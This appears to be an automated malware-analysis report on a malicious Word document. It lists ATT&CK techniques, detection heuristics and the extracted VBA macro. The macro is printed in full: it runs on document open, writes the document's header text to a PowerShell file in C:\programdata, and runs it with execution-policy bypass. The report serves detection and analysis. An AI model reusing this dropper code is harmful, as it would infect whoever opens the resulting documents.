MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains a VBA macro that executes upon opening the document. This macro writes a PowerShell script to disk at 'C:\programdata\Office365DCOMCheck.ps1' and then executes it using 'powershell.exe' with bypass execution policy. This indicates the document is a dropper for a secondary payload.
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6574109-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6574109-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
ComA = Replace("ComA", "\", "") objShell.ShellExecute "powershell.exe", " -exec bypass -File C:\programdata\Office365DCOMCheck.ps1", "C:\ProgramData", "", 0 End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") Dim oFile As Object -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Sub document_open() Dim rng As Range -
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1206 bytes |
SHA-256: f294a6179c7cb758deabac5c9d762a3e0c0a569f6c82a497153455aa9273d0de |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
Dim rng As Range
Dim intSecCount As Integer
Dim intHFType As Integer
intSecCount = ActiveDocument.Sections.Count
For intSection = 1 To intSecCount
With ActiveDocument.Sections(intSection)
Set rng = ActiveDocument.Sections(intSection).Headers(1).Range
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile("C:\programdata\Office365DCOMCheck.ps1")
oFile.WriteLine (rng)
oFile.Close
Set fso = Nothing
Set oFile = Nothing
End With
Next intSection
Set objShell = CreateObject("shell.application")
Dim ComA As String
ComA = StrReverse("e/\/x/\/e/\/./\/l/\/l/\/e/\/h/\/s/\/r/\/e/\/w/\/o/\/p")
ComA = Replace("ComA", "/", "")
ComA = Replace("ComA", "\", "")
objShell.ShellExecute "powershell.exe", " -exec bypass -File C:\programdata\Office365DCOMCheck.ps1", "C:\ProgramData", "", 0
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.